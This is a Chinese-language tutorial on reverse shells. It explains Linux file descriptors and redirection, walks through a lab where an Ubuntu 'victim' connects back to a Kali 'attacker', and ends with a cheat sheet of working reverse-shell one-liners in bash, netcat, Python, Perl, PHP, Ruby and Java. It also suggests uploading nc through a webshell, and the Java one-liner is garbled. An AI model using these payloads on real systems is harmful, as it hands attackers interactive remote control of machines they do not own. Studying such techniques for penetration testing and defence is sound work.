常见的反弹shell的方法以及对反弹shell的解释

文章目录

    • 一.什么是反弹shell,以及对反弹shell作用原理的解析:
    • 3.反弹shell的本质
      • linux文件描述符
      • 重定向
      • 输入重定向
      • 输出重定向
      • 标准输出与标准错误输出重定向
      • 文件描述符的复制
      • exec 绑定重定向
      • 对反弹shell执行的实例分析:
      • >&、&>
  • 常见的反弹shell的技巧
    • bash反弹
    • NC反弹
    • Python反弹


一.什么是反弹shell,以及对反弹shell作用原理的解析:

1.定义

通俗来说,shell就是实现用户命令的接口,通过该接口我们能实现对计算机的控制(root权限),
而反弹shell就是将shell反弹给攻击者,从而达到让攻击者可以在自己的机器上执行shell命令,
从而操控受害者的计算机。

标准说法:
reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

2.为什么要反弹shell

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.它的ip会动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

3.反弹shell的本质

参考这篇文章:
https://xz.aliyun.com/t/2549 先知社区:Linux 反弹shell(二)反弹shell的本质
最好也看看第一篇文章,可以对反弹shell有一个深刻的理解。

首先对反弹shell执行的前提来说明一下:

第一步:要有一个可以被监听的端口,通常使用nc命令。
eg:nc -lvp 6767

解析:-l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

第二步:要产生一个交互式的shell,使用bash -i

解析:bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别, -i 这个参数表示的是产生交互式的shell

第三步:我们为什么要监听一个端口,就是因为存在一个特殊设备文件(/dev/tcp/ip/root),如果你在任何一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器(即攻击者(攻击者作为服务器,而受害者作为客户端,反弹shell就是让受害者主动与服务端-攻击者建立通信))的socket通信。

特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:
常见的反弹shell的方法以及对反弹shell的解释_第1张图片

标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)

linux文件描述符

可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。

当Linux启动的时候会默认打开三个文件描述符(0,1,2)

注意:
(1)以后再打开文件,描述符可以依次增加
(2)一条shell命令,都会继承其父进程的文件描述符,因此所有的shell命令,都会默认有三个文件描述符。

文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)

一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。

重定向

重定向主要分为两种(其他复杂的都是从这两种衍生而来的):

(1)输入重定向 < <<
(2)输出重定向 > >>

重点:
1.bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向(之前说过了,输入输出操作都是依赖文件描述符实现的,重定向输入输出本质上就是重定向文件描述符),然后在把重定向去掉,执行指令

2.如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果(这一点我们后面会展示)

3.< 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向

4.再强调一下,重定向就是针对文件描述符的操作

输入重定向

格式: [n]< word (注意[n]与<之间没有空格)

说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)

输出重定向

格式: [n]> word

说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)

标准输出与标准错误输出重定向

格式: &> word >& word

说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的,详细的介绍后面会有)

常见的反弹shell的方法以及对反弹shell的解释_第2张图片

这种复制方法就是我们常用的打团shell方法。
可以形成一个回路,只需要在攻击者机器上进行操作就可以得到,受害者的所有结果。

文件描述符的复制

格式: [n]<&[m] / [n]>&[m] (这里所有字符之间不要有空格)

说明:

1)这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开

因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)

2)这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符

这里就可以用上面的例子作为演示,将错误和正确的输出都输入到文件中,

之前我们说过,重定向符号的顺序不能随便换,因为系统是从左到右执行的,我们下面就举一个例子

(2)cmd 2>&1 >file

1.首先解析器解析到 2>&1
常见的反弹shell的方法以及对反弹shell的解释_第3张图片
2.解析器再向后解析到 “>”

常见的反弹shell的方法以及对反弹shell的解释_第4张图片

exec 绑定重定向

格式:exec [n] file/[n]

上面的输入输出重定向将输入和输出绑定文件或者设备以后只对当前的那条指令有效,如果需要接下来的指令都支持的话就需要使用 exec 指令

重点:

格式: [n]<>word

说明:以读写方式打开word指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入。

常见的反弹shell的方法以及对反弹shell的解释_第5张图片
文件描述符和重定向的作用巨大,很好的体现出了Linux中一切皆文件的特性,在反弹shell建立交互通道的过程中也起到了至关重要的作用。

对反弹shell执行的实例分析:

实验环境:

受害者:

Ubuntu Linux ------> 192.168.146.128

攻击者:

Kali Linux ------> 192.168.146.129

那么为什么要让客户端(受害者)与服务端(攻击者)进行通信呢?

那就是因为,为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上,

bash -i > /dev/tcp/192.168.146.129/2333

常见的反弹shell的方法以及对反弹shell的解释_第6张图片
如下图所示,任何在受害者机器上执行的指令都不会直接回显了,而是在攻击者机器上回显。

在这里插入图片描述
常见的反弹shell的方法以及对反弹shell的解释_第7张图片
但是这里有一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行。

于是我们似乎还需要一条这样的指令

bash -i < /dev/tcp/192.168.146.129/2333

常见的反弹shell的方法以及对反弹shell的解释_第8张图片
这条指令的意思是将攻击者输入的命令输入给受害者的bash,自然就能执行了。

现在我们需要将两条指令结合起来(如果这条指令看不懂可以去看一下我上面提供的文章的链接再回来看这条指令):

bash -i 1> /dev/tcp/192.168.146.129/2333 0>&1

描述符的复制:[n]<&[m] / [n]>&[m]
0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)

示意图:
常见的反弹shell的方法以及对反弹shell的解释_第9张图片
由这张示意图可以很清楚地看到,输入0是由/dev/tcp/192.168.146.129/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.146.129/2333上,这就形成了一个回路,实现了我们远程交互式shell 的功能。

注意:
但是这里有一个问题,就是我们在受害者机器上依然能看到我们在攻击者机器中执行的指令 ,如下图所示,我们马上解决

在这里插入图片描述

>&、&>

这个符号在我附上链接的那篇文章中也提到了,作用就是混合输出(错误、正确输出都输出到一个地方)

示意图:

常见的反弹shell的方法以及对反弹shell的解释_第10张图片

现在我们解决一下前面的问题:

bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1

对这条命令的解析:

将所有的输出都复制给1,但是

当然我们也可以执行与之完全等价的指令

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

反弹shell一般分为linux和Windows两种。

Linux之bash反弹shell原理浅析

常见的反弹shell的技巧

bash反弹

个人感觉bash反弹是最简单、也是最常见的一种。

bash -i >& /dev/tcp/192.168.20.151/8080 0>&1
bash一句话命令详解
以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。

bash -i >& /dev/tcp/192.168.20.151/8080 0>&1

bash一句话命令详解
以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。
常见的反弹shell的方法以及对反弹shell的解释_第11张图片

就是将受害者的标准输出和错误输出都重定向给攻击者的机器,并且将攻击者的输入都重定向给受害者的机器,通过/dev/tcp/ip/port这个特殊的设备文件建立端口连接来传送数据。包括交互式的shell。

其实以上bash反弹一句完整的解读过程就是:
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
在反弹shell时要借助netcat工具反弹

NC反弹

一般都是通过拿到webshell将nc上传到指定文件夹,然后再
Netcat 一句话反弹:Netcat反弹也是非常常用的方法,只是这个方法需要我们手动去安装一个NC环境

nc 反向反弹shell 是在攻击者主机上监听端口,然后靶机连接。

开启外网主机监听

root@kali:~# nc -lvvp 6666(本地监听)
listening on [any] 8080 …

先用kali开启监听:
然后centos执行bash一句话。

nc -e /bin/bash 192.168.43.133 6666

nc 192.168.31.151 7777 -t /bin/bash
命令详解:通过webshell我们可以使用nc命令直接建立一个tcp 8080 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机(192.168.31.151)。

以上是针对 Linux 操作系统的反弹 Shell 的方式,如果目标是windows系统,只需要把/bin/bash换成cmd.exe绝对路径即可,当然这个cmd.exe可以是C:\Windows\System32\cmd.exe,亦可以是通过webshell上传的cmd.exe,实战的话后者更多一点。

NC常见使用方法

Python反弹

有一种现实的情况是,现实的受害主机可能不会给你提供 netcat 的环境,你也不会那么轻易成功将 nc 上传至靶机,所以更多的情况需要你就地取材,网上有大佬整理了各种版本的反弹 shell 的脚本语言写法,在此借鉴:

1、Python版本:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

2、Perl版本:
perl -e 'use Socket;$i="192.168.10.13";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 
3PHP版本:
php -r '$sock=fsockopen("192.168.10.13",8888);exec("/bin/sh -i <&3>&3 2>&3");'
 
4、Ruby版本:
ruby -rsocket -e'f=TCPSocket.open("192.168.10.13",8888).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'
 
5、Java版本:
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.10.13/8888;cat <&5 2="" |="" while="" read="" line;="" do="" \$line="">&5 >&5; done"] as String[]) p.waitFor()

下面演示一下 Python 脚本语言反弹 Shell 的方法:

1、首先使用 nc 在 Kali 上监听端口:

常见的反弹shell的方法以及对反弹shell的解释_第12张图片
2、在 Ubuntu 虚拟机下使用 Python 脚本去反向连接,如下:

在这里插入图片描述

此外还有php反弹shell,以及使用msf框架生成的木马来反弹shell。

此外反弹shell还经常需要使用端口转发和正向代理:
参考这篇文章
常见的反弹shell的方法以及对反弹shell的解释_第13张图片

你可能感兴趣的:(内网渗透)